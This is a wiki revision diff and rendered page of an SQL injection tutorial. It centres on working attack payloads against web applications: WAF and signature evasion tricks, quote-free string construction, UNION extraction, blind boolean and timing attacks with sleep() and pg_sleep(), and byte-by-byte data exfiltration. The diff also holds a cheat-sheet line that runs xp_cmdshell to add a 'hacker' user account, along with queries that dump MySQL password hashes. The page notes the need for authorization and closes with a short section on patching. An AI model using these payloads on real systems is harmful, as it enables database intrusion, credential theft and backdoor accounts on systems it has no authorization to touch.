Difference between revisions of "SQL injection"
Line 283: | Line 283: | ||
===Extending conditional statements=== | ===Extending conditional statements=== | ||
− | {{protip|Many [[IDS]] signatures will look for a boolean operator ("'''and'''" or "'''or'''") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).{{code|text= | + | {{protip|Many [[IDS]] signatures will look for a boolean operator ("'''and'''" or "'''or'''") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).}} |
+ | {{code|text= | ||
* Using '''IF''' for MySQL injection: | * Using '''IF''' for MySQL injection: | ||
The syntax for the '''IF''' statement in MySQL is: | The syntax for the '''IF''' statement in MySQL is: | ||
Line 290: | Line 291: | ||
%20and%20if(98276232=72619126,1,0) ('''FALSE''') | %20and%20if(98276232=72619126,1,0) ('''FALSE''') | ||
}} | }} | ||
− | + | ||
{{info|You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.}} | {{info|You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.}} | ||
Line 361: | Line 362: | ||
'''MS SQL''' uses the '''RLIKE''' operator. | '''MS SQL''' uses the '''RLIKE''' operator. | ||
− | }} }}{{protip|'''<i>Regular expressions are the most evasive method for remote [[SQL]] injection possible, as they lack many of the common syntax characters necessary for other forms of injection.</i>'''}}{{warning|<i>The following tests contruct strings using native string constructors to bypass any requirement for quotes. If you need more information regarding this, please see our entry on '''[[#Quotes|evading quotation and apostrophe sanitizing]]'''.</i> | + | }} }} |
+ | {{protip|'''<i>Regular expressions are the most evasive method for remote [[SQL]] injection possible, as they lack many of the common syntax characters necessary for other forms of injection.</i>'''}} | ||
+ | |||
+ | {{warning|<i>The following tests contruct strings using native string constructors to bypass any requirement for quotes. If you need more information regarding this, please see our entry on '''[[#Quotes|evading quotation and apostrophe sanitizing]]'''.</i> | ||
{{code|text=Below are either [[Ascii_shellcode|hexadecimal character codes]] or ascii code equivilent characters being translated into a string by the [[SQL]] server. You'll need to get used to these in order to become proficient in [[SQL]] injection.</i> | {{code|text=Below are either [[Ascii_shellcode|hexadecimal character codes]] or ascii code equivilent characters being translated into a string by the [[SQL]] server. You'll need to get used to these in order to become proficient in [[SQL]] injection.</i> | ||
Line 378: | Line 382: | ||
= Intermediate SQL Injection = | = Intermediate SQL Injection = | ||
− | {{info|There are various methods for exploiting various databasing engines, including [[MySQL]], PostgreSQL and Microsoft SQL server. Different engines may require [[#Functions_.26_Environment_Variables|different function names, environment variables, or syntax nuances]] for proper effectiveness.}}{{protip|We did not include expample testing for [[SQL_Orientation#UPDATE_-_Modify_rows_in_a_table|'''UPDATE''']] or [[SQL_Orientation#INSERT_-_Add_rows_to_a_table|'''INSERT''']] queries using '''subqueries'''. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then you can substitute column values for insert and delete using '''subqueries''' that return a single cell rather than a single [[byte]], similar to [[#Expert:_Automated_Single-byte_exfiltration|single-byte exfiltration]]}} | + | {{info|There are various methods for exploiting various databasing engines, including [[MySQL]], PostgreSQL and Microsoft SQL server. Different engines may require [[#Functions_.26_Environment_Variables|different function names, environment variables, or syntax nuances]] for proper effectiveness.}} |
+ | |||
+ | {{protip|We did not include expample testing for [[SQL_Orientation#UPDATE_-_Modify_rows_in_a_table|'''UPDATE''']] or [[SQL_Orientation#INSERT_-_Add_rows_to_a_table|'''INSERT''']] queries using '''subqueries'''. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then you can substitute column values for insert and delete using '''subqueries''' that return a single cell rather than a single [[byte]], similar to [[#Expert:_Automated_Single-byte_exfiltration|single-byte exfiltration]]}} | ||
+ | |||
== Automation Theory == | == Automation Theory == | ||
− | {{notice|The most important thing when automating [[SQL]] injection is recognizing boundaries.{{code|text= | + | {{notice|The most important thing when automating [[SQL]] injection is recognizing boundaries. |
+ | {{code|text= | ||
Loop Delimeters: | Loop Delimeters: | ||
* Length of single cell strings (length sql functions) | * Length of single cell strings (length sql functions) | ||
Line 395: | Line 403: | ||
{{code|text=<source lang="sql">select column_type from information_schema.columns where table_name=[table_name] and column_name=[column_name] and table_schema=[database]</source>}}{{protip|Its a good idea to use order by every time you inject in case results are not constant due to '''where''' clause restraints.}} | {{code|text=<source lang="sql">select column_type from information_schema.columns where table_name=[table_name] and column_name=[column_name] and table_schema=[database]</source>}}{{protip|Its a good idea to use order by every time you inject in case results are not constant due to '''where''' clause restraints.}} | ||
}} | }} | ||
− | }}{{warning|Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this.{{code|text= | + | }} |
+ | |||
+ | {{warning|Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this.{{code|text= | ||
* Predefined scope | * Predefined scope | ||
Use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table. | Use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table. | ||
Line 410: | Line 420: | ||
* Cast and concatenate | * Cast and concatenate | ||
attempt to string concatenate a character to the integer to throw an error.}} | attempt to string concatenate a character to the integer to throw an error.}} | ||
− | }}{{quote|Here's a few variables to be aware of while writing automated exploit software.{{code|text= | + | }} |
+ | |||
+ | {{quote|Here's a few variables to be aware of while writing automated exploit software.{{code|text= | ||
'''Counters''': | '''Counters''': | ||
* Row Counter | * Row Counter | ||
Line 435: | Line 447: | ||
{{notice| | {{notice| | ||
* When the page no longer displays, you've hit your boundary. The largest number in the order by clause that still allows the page to display properly is your number of columns.}}}} | * When the page no longer displays, you've hit your boundary. The largest number in the order by clause that still allows the page to display properly is your number of columns.}}}} | ||
+ | |||
=== Extracting Data === | === Extracting Data === | ||
Line 459: | Line 472: | ||
}} | }} | ||
}} | }} | ||
+ | |||
+ | |||
==Intermediate Testing: "SELECT" ... LIMIT clause injections== | ==Intermediate Testing: "SELECT" ... LIMIT clause injections== | ||
Line 627: | Line 642: | ||
and upper(version()) ~ '^[a-z]' -- Should NEVER return true</source>}} | and upper(version()) ~ '^[a-z]' -- Should NEVER return true</source>}} | ||
* '''Adjust the ranges to hone in on the value of the byte.'''}} | * '''Adjust the ranges to hone in on the value of the byte.'''}} | ||
+ | |||
= Expert: Timing attacks for automated boolean enumeration = | = Expert: Timing attacks for automated boolean enumeration = | ||
+ | |||
{{notice|'''Timing attacks generally fall under two categories:'''{{code|text= | {{notice|'''Timing attacks generally fall under two categories:'''{{code|text= | ||
* [[#Advanced:_Manual_Boolean_Enumeration|Boolean enumeration]] | * [[#Advanced:_Manual_Boolean_Enumeration|Boolean enumeration]] | ||
* [[#Expert:_Automated_Single-byte_exfiltration|Single byte exfiltration]] | * [[#Expert:_Automated_Single-byte_exfiltration|Single byte exfiltration]] | ||
}} | }} | ||
+ | |||
* <i>Timing attacks are typically used by automated software due to the difficulty in reliably determining true/false from data being displayed on the page.</i>}} | * <i>Timing attacks are typically used by automated software due to the difficulty in reliably determining true/false from data being displayed on the page.</i>}} | ||
+ | |||
==MySQL Boolean Timing Attacks== | ==MySQL Boolean Timing Attacks== | ||
+ | |||
{{info|Mysql's primary functions that can time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.}} | {{info|Mysql's primary functions that can time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.}} | ||
+ | |||
===benchmark() and related issues=== | ===benchmark() and related issues=== | ||
+ | |||
{{warning|'''<i>Benchmark() may betray your activities</i>'''{{quote|<center><i>'''"Lets just call benchmark...'''</i><br /> | {{warning|'''<i>Benchmark() may betray your activities</i>'''{{quote|<center><i>'''"Lets just call benchmark...'''</i><br /> | ||
− | <i>'''...deprecated"'''</i></center>|Experience}}{{code|text= | + | <i>'''...deprecated"'''</i></center>|Experience}} |
+ | {{code|text= | ||
* <i>'''Benchmark()''' is the '''rudest''' (and '''slowest''' and '''least reliable''') method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if he never finds the attack, he'll be called. <u>For this reason we have minimal coverage of the benchmark() function and recommend using a '''sleep()''' function call in stead.</u></i>}} | * <i>'''Benchmark()''' is the '''rudest''' (and '''slowest''' and '''least reliable''') method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if he never finds the attack, he'll be called. <u>For this reason we have minimal coverage of the benchmark() function and recommend using a '''sleep()''' function call in stead.</u></i>}} | ||
}} | }} | ||
===Evasive sleep() based boolean enumeration with regular expressions=== | ===Evasive sleep() based boolean enumeration with regular expressions=== | ||
+ | |||
{{notice|'''Some information about our environment:'''{{code|text= | {{notice|'''Some information about our environment:'''{{code|text= | ||
* For testing purposes we've installed MySQL 5.1 locally and created a table called sample: | * For testing purposes we've installed MySQL 5.1 locally and created a table called sample: | ||
Line 664: | Line 688: | ||
}} | }} | ||
}} | }} | ||
+ | |||
===='''Testing for the ability to sleep():'''==== | ===='''Testing for the ability to sleep():'''==== | ||
{{protip|'''<i>It is very simple to test for access to the sleep() function</i>''':{{code|text= | {{protip|'''<i>It is very simple to test for access to the sleep() function</i>''':{{code|text= | ||
Line 717: | Line 742: | ||
==PostgreSQL Boolean Timing Attacks== | ==PostgreSQL Boolean Timing Attacks== | ||
'''pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.''' | '''pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.''' | ||
+ | |||
===Testing for access to pg_sleep()=== | ===Testing for access to pg_sleep()=== | ||
+ | |||
{{notice|<i>'''You can test for access to pg_sleep() with:'''</i>{{code|text= | {{notice|<i>'''You can test for access to pg_sleep() with:'''</i>{{code|text= | ||
<source lang="sql"> and pg_sleep(15) is null</source> | <source lang="sql"> and pg_sleep(15) is null</source> | ||
* It '''should''' take an additional 15 seconds to load the page.}} | * It '''should''' take an additional 15 seconds to load the page.}} | ||
}} | }} | ||
+ | |||
===Using pg_sleep() with alternative comparisons for evasive boolean enumeration=== | ===Using pg_sleep() with alternative comparisons for evasive boolean enumeration=== | ||
+ | |||
{{info|'''You can use BETWEEN ... AND ... as well as the regular expression operators here.'''{{code|text='''Sleeping on true and not sleeping on false:'''{{notice|'''Similar to mysql, the database will sleep when you select pg_sleep([int]).'''{{code|text= | {{info|'''You can use BETWEEN ... AND ... as well as the regular expression operators here.'''{{code|text='''Sleeping on true and not sleeping on false:'''{{notice|'''Similar to mysql, the database will sleep when you select pg_sleep([int]).'''{{code|text= | ||
* Using '''CASE''' to control pg_sleep with '''BETWEEN'''...'''AND''': | * Using '''CASE''' to control pg_sleep with '''BETWEEN'''...'''AND''': | ||
Line 744: | Line 773: | ||
= Expert: Automated Single-byte exfiltration = | = Expert: Automated Single-byte exfiltration = | ||
+ | |||
'''There are multiple types of single byte exfiltration attacks:''' | '''There are multiple types of single byte exfiltration attacks:''' | ||
* Timing based | * Timing based | ||
Line 770: | Line 800: | ||
==The Comparative Precomputation Attack== | ==The Comparative Precomputation Attack== | ||
+ | |||
{{warning|'''This attack relies heavily on the <i>remote dataset</i> for successful exploitation and is thus less reliable than other methods.'''{{notice|'''This significantly differs from previously discovered <u>[[#Expert:_Automated_Single-byte_exfiltration|single-byte exfiltration techniques]]</u> because:'''{{code|text= | {{warning|'''This attack relies heavily on the <i>remote dataset</i> for successful exploitation and is thus less reliable than other methods.'''{{notice|'''This significantly differs from previously discovered <u>[[#Expert:_Automated_Single-byte_exfiltration|single-byte exfiltration techniques]]</u> because:'''{{code|text= | ||
* <i>It is based on precomputation</i> | * <i>It is based on precomputation</i> | ||
Line 807: | Line 838: | ||
= Further Penetration = | = Further Penetration = | ||
+ | |||
{{info|Most demonstrated methods require additional privileges}} | {{info|Most demonstrated methods require additional privileges}} | ||
+ | |||
== Obtaining direct database access== | == Obtaining direct database access== | ||
+ | |||
{{quote|<i>'''<center>Requires a privileged [[user]] or valid [[privilege escalation]]</center>'''</i> {{code|text= | {{quote|<i>'''<center>Requires a privileged [[user]] or valid [[privilege escalation]]</center>'''</i> {{code|text= | ||
There are several methods for obtaining direct [[database]] access so that you can log in remotely. | There are several methods for obtaining direct [[database]] access so that you can log in remotely. | ||
Line 819: | Line 853: | ||
== Obtaining filesystem access == | == Obtaining filesystem access == | ||
+ | |||
{{info|'''This will require '''[[MySQL]]''', depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.'''{{code|text= | {{info|'''This will require '''[[MySQL]]''', depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.'''{{code|text= | ||
* <i>'''load_file()'''</i> | * <i>'''load_file()'''</i> | ||
Line 828: | Line 863: | ||
== Obtaining Code Execution == | == Obtaining Code Execution == | ||
+ | |||
* <i>Through the [[Vulnerability|vulnerable]] [[web applications|web application]]:</i> | * <i>Through the [[Vulnerability|vulnerable]] [[web applications|web application]]:</i> | ||
It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete [[PHP]] or other [[interpreted languages]] in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected [[web applications|web application]] and get to [[Cryptography#Commandline_Tools|cracking]] the [[authentication credentials]] for the admin [[user]]. | It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete [[PHP]] or other [[interpreted languages]] in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected [[web applications|web application]] and get to [[Cryptography#Commandline_Tools|cracking]] the [[authentication credentials]] for the admin [[user]]. | ||
Line 841: | Line 877: | ||
= Cheat Sheets = | = Cheat Sheets = | ||
+ | |||
==Vulnerability Testing== | ==Vulnerability Testing== | ||
+ | |||
{{protip|'''<i>We've compacted the best true and false statements for compatibility and evasion here. If you're having problems, you may need to give our entries on [[#Simple_Remote_Tests_for_SQL_Injection_Vulnerabilities|remote testing]] or [[#Bypassing_Modern_SQL_Injection_Security_Measures|defeating sql injection filters]] a read.</i>'''}} | {{protip|'''<i>We've compacted the best true and false statements for compatibility and evasion here. If you're having problems, you may need to give our entries on [[#Simple_Remote_Tests_for_SQL_Injection_Vulnerabilities|remote testing]] or [[#Bypassing_Modern_SQL_Injection_Security_Measures|defeating sql injection filters]] a read.</i>'''}} | ||
+ | |||
===Universal True and False Statements=== | ===Universal True and False Statements=== | ||
+ | |||
{{info|{{notice|<i>We've ensured the accuracy of this stuff. If we're missing any universal testing operators, please [[IRC|let us know.]]</i>}} | {{info|{{notice|<i>We've ensured the accuracy of this stuff. If we're missing any universal testing operators, please [[IRC|let us know.]]</i>}} | ||
Line 857: | Line 897: | ||
==MySQL Syntax Reference== | ==MySQL Syntax Reference== | ||
+ | |||
* Comment notation: | * Comment notation: | ||
/* [*/] | /* [*/] | ||
Line 875: | Line 916: | ||
===Mysql Versions >= 5 User Schema Mapping (Unprivileged)=== | ===Mysql Versions >= 5 User Schema Mapping (Unprivileged)=== | ||
+ | |||
* Show Databases Equivilent: | * Show Databases Equivilent: | ||
{{code|text=<source lang="sql"> select schema_name from information_schema.schemata limit 1 offset 0</source>}} | {{code|text=<source lang="sql"> select schema_name from information_schema.schemata limit 1 offset 0</source>}} | ||
Line 883: | Line 925: | ||
===Privileged Mysql (Any version) User=== | ===Privileged Mysql (Any version) User=== | ||
+ | |||
* Get mysql usernames and password hashes: | * Get mysql usernames and password hashes: | ||
{{code|text=<source lang="sql"> select concat(user,0x2f,password) from mysql.user limit 1</source>}} | {{code|text=<source lang="sql"> select concat(user,0x2f,password) from mysql.user limit 1</source>}} | ||
Line 891: | Line 934: | ||
==PostgreSQL Syntax Reference== | ==PostgreSQL Syntax Reference== | ||
+ | |||
{{notice|Handy functions & Environment Variables include:{{code|text=<source lang="sql"> | {{notice|Handy functions & Environment Variables include:{{code|text=<source lang="sql"> | ||
current_database() | current_database() | ||
Line 906: | Line 950: | ||
}} | }} | ||
===PostgreSQL Schema Mapping=== | ===PostgreSQL Schema Mapping=== | ||
+ | |||
{{code|text= | {{code|text= | ||
* '''\dn equivilent''': | * '''\dn equivilent''': | ||
Line 915: | Line 960: | ||
==Microsoft SQL Syntax Reference== | ==Microsoft SQL Syntax Reference== | ||
+ | |||
* Handy functions, statements, and Environment Variables: | * Handy functions, statements, and Environment Variables: | ||
database() | database() | ||
Line 921: | Line 967: | ||
WAIT ... FOR DELAY | WAIT ... FOR DELAY | ||
@@version{{info|String concatenation is preformed in Microsoft SQL via the '''+''' character.}} | @@version{{info|String concatenation is preformed in Microsoft SQL via the '''+''' character.}} | ||
+ | |||
===Microsoft SQL Schema Mapping (Unprivileged)=== | ===Microsoft SQL Schema Mapping (Unprivileged)=== | ||
+ | |||
{{code|text= | {{code|text= | ||
* Obtaining the first table: | * Obtaining the first table: | ||
Line 931: | Line 979: | ||
===Privileged Microsoft SQL Injection=== | ===Privileged Microsoft SQL Injection=== | ||
+ | |||
* Command Execution: | * Command Execution: | ||
;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';-- | ;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';-- | ||
Line 939: | Line 988: | ||
=Patching SQL Injection Vulnerabilities= | =Patching SQL Injection Vulnerabilities= | ||
+ | |||
{{quote|<center>'''"<i>It's pretty straight forward. You either sanitize your inputs properly, or use prepared statements.<br /> Obviously, [[#Modern_day_SQL_Injection_Obstacles_and_Countermeasures|today's countermeasures]] just [[#Bypassing_Modern_SQL_Injection_Security_Measures|don't cut it]].</i>"'''</center>|The security analyst}} | {{quote|<center>'''"<i>It's pretty straight forward. You either sanitize your inputs properly, or use prepared statements.<br /> Obviously, [[#Modern_day_SQL_Injection_Obstacles_and_Countermeasures|today's countermeasures]] just [[#Bypassing_Modern_SQL_Injection_Security_Measures|don't cut it]].</i>"'''</center>|The security analyst}} | ||
* '''[[Ruby]] input sanitizing''': | * '''[[Ruby]] input sanitizing''': |
Revision as of 19:52, 12 April 2012
If you see missing things you'd like to contribute, don't hesitate to contact us.
SQL injection requires a basic understanding of SQL and manipulation of SQL data |
SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.
Typically, databases include things like (but not limited to):
|
We'll be updating this page relatively frequently, if it does not have the answer to your question, you can try us in IRC, or check back later. If you try us in IRC, we'll do our best to help you find the solution. |
Contents
- 1 Starting Out
- 2 Databasing engines compared and contrasted in light of SQL Injection
- 3 Modern day SQL Injection Obstacles and Countermeasures
- 4 Basic Remote Tests for SQL Injection Vulnerabilities
- 5 Bypassing Modern SQL Injection Security Measures
- 6 Intermediate SQL Injection
- 7 Advanced: Manual Boolean Enumeration
- 8 Expert: Timing attacks for automated boolean enumeration
- 9 Expert: Automated Single-byte exfiltration
- 10 Further Penetration
- 11 Cheat Sheets
- 12 Patching SQL Injection Vulnerabilities
- 13 Further Reading
Starting Out
If you haven't already done so, now is a good time to orient yourself with SQL servers and queries with our SQL primer, otherwise you may get lost in this text easily. |
Cause(s) of vulnerabilities
SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.
- Un-sanitized user input - The developer made no effort to stop an injection attack
- Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
- Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
Potential Target Environments
A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application.
It is important to note the HTTP server's version information along with the programming language in use by any application during testing. This in conjunction with Operating System information will assist during privilege escalation with injection. |
Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables.
MySQL Database Mapping
When outside of the C SQL API, access the data structure via the information_schema database.
|
PostgreSQL Mapping
PostgreSQL has the current_database() function in stead of the database() function.
|
MS SQL Mapping
MS SQL is a bit different when it comes to ordered single-cell selection. |
|
Legacy Databases
The information_schema database entered the open source community in MySQL version 5 and at the end of PostgreSQL Version 7.3; old and current versions of SQL engines contain their schema information in their administration databases. You can find more information on this by combining techniques listed here with the manuals and documentation.
Access/MSSQL
|
PROCEDURE ANALYSE might come in handy. |
MySQL 4
|
Databasing engines compared and contrasted in light of SQL Injection
For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function or variable per sql version. |
- Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
- Not all similarities or differences are documented here, only those relevant to SQL injection.
- Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.
Information_Schema
All of the databasing engines that presently have an information_schema collection have the following in common:
- The information_schema.tables table has a table_name column.
- The information_schema.columns table has both table_name and column_name columns.
- All of them have information_schema.routines and information_schema.schemata tables.
Functions & Environment Variables
Similarities between the different engines
MS SQL, MySQL, and PostgreSQL share the following:
|
MySQL and Postgres share the following:
|
MySQL and MSSQL share the following:
|
Other syntax
All of the databases share the same comparison operators, basic SELECT, WHERE, GROUP, and ORDER syntax.
PostgreSQL and MySQL now also share the same LIMIT syntax |
LIMIT [COUNT] offset [ROW TO START at] |
Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack.
SELECT top 1 $column FROM (SELECT top $OFFSET $column FROM $table [WHERE clause] [GROUP BY clause] ORDER BY $column DESC) sq [GROUP BY clause] ORDER BY $column ASC |
Capabilities
Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer.
|
Modern day SQL Injection Obstacles and Countermeasures
Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.
Configuration & Environment Challenges
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy.
Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options.
Simply distributing a time consuming attack may only hinder the attacker by exhausting resources.
Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (ie. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver.
Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information. |
IDS, IPS, and Web Application Firewalls
Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer. |
Common Web Application Firewall HTTPD Modules
- Mod_Security (Apache)
- Naxsi (Nginx)
- ISAPI Filters (Microsoft IIS)
Common signatures use regular expressions that will match (and block) many common or simple testing techniques. |
Improper Sanitizing
Partial sanitizing
Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely. |
- The space character (or all whitespace)
- The single quote character: '
- The double quote character: "
- The tag characters: < and >
- The equals character: =
- The comma character: ,
- The parenthesis characters: ( and )
Deprecated Sanitizing
History says |
---|
PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes(). |
Basic Remote Tests for SQL Injection Vulnerabilities
Make sure to have written authorization from the site owner first! |
Vulnerability Characteristics
Vulnerability types
SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.
|
Injection Points
|
Input Testing
Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, GET parameters, and other request headers. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest. |
Your First Where Clause Injection
Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.
|
|
Reconstructing injected Queries
Lets concrete this in your head. Using the above testing examples, we'll reconstruct the queries generated from our url tampering.
Or, alternatively, we can look at our $title example:
|
- The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.
Bypassing Modern SQL Injection Security Measures
To exploit or even test web applications in the modern world, we'll need to recognize it when countermeasures are in place and be able to defeat them. |
A WAF is probably in the way if you're experiencing:
|
|
Basic Signature Evasion
Signature evasion is very similar to evading partial sanitizing. In stead of modifying your characters, an IPS drops traffic if your characters appear in a particular sequence in order to match a pattern. By discovering that sequence, we can make adjustments to our queries to evade the IPS or WAF in the way of our testing. Many web application firewalls will recognize the "1=1" test simply due to its popularity. Other queries that are very similar may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.
Whitespace placement
Take note of the whitespace around the = operator. If there is none, try adding a space. If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.
%20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE) %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)
Integer and string size delimiters
Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected. Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.
%20and%402837649781237849=402837649781237849 (TRUE) %20and%201789236419872364=128756128398671289 (FALSE)
Switching up the data types
If integers are giving you a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.
%20and%205.8=5.8 (TRUE) %20and%200.2=0.3 (FALSE)
Arithmetic tests
In stead of comparing a value like "1=1", try comparing mathematical expressions. Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.
%20and%201.2+3=4.2 (TRUE) %20and%200.2-1=0 (FALSE)
Capitalization
If you're still having problems during testing, this probably isn't your issue. Try changing the case of the letters making up your boolean operator (and to AnD and or to oR).
Extending conditional statements
The syntax for the IF statement in MySQL is:
%20and%20if(10829361=10829361,1,0) (TRUE) %20and%20if(98276232=72619126,1,0) (FALSE) |
You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false. |
Defeating partial sanitizing
You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. In stead, focus on evading the sanitizing by crafting queries that do not require sanitized characters. |
Quotes
select 'abc'; ...is equivalent to... select 0x616263;. Additionally, PostgreSQL allows you to use two dollar signs as string delimiters select $$abc$$;Therefore, 0x616263 can be used in place of 'abc'. This will come in handy while exploiting a WHERE clause and not being able to use quotes.
String concatenation can avoid the use of quotes the use of quotes in:
Using the char() function to construct the string 'abc': select char(97,98,99); ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'.
Using the chr() function and double-pipe concatenation operator: select chr(97)||chr(98)||chr(99); ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'.
Using the char() function and plus operator: select char(97)+char(98)+char(99); ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'. |
Whitespace Filtering
and%0a1=1 and%0a1=0 and+1=1 and+1=0
AND/*comment1*/1/*comment2*/=/*comment3*/1 AND/*comment1*/1/*comment2*/=/*comment3*/0 |
Bypassing XSS Filters During SQL Injection
If you've run into XSS filtering, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, we need to use alternative comparison operators:
|
Testing with BETWEEN
- The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range. For example, 50 is between 0 and 100, but 300 is not, which lets us safely avoid using the = operator in our query:
and%2050%20between%200%20and%20100 (True) and%20300%20between%200%20and%20100 (False)
- This turns the query into something like:
select * from articles where id=1 and 50 between 0 and 100 select * from articles where id=1 and 300 between 0 and 100
and%20'c'%20between%20'a'%20and%20'm (True) and%20'z'%20between%20'a'%20and%20'm (False)
Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)
|
The following tests contruct strings using native string constructors to bypass any requirement for quotes. If you need more information regarding this, please see our entry on evading quotation and apostrophe sanitizing.
|
Intermediate SQL Injection
There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness. |
Automation Theory
Loop Delimeters:
Obtaining data types:
Protip: Its a good idea to use order by every time you inject in case results are not constant due to where clause restraints.
|
Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this.
|
Planning ahead says | |
---|---|
Here's a few variables to be aware of while writing automated exploit software.
|
Basic Injection : Union Select
- The UNION operator allows you to collect the output of two SELECT statments with UNION ALL SELECT or UNION SELECT so long as the results have the
same number of columns:
SELECT COLUMN FROM TABLE UNION ALL SELECT COLUMN |
Determining the number of Columns
